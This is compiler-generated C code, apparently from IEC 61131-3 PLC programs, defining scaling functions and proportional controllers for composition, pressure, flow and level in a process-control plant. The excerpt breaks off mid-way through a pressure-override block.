__INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + 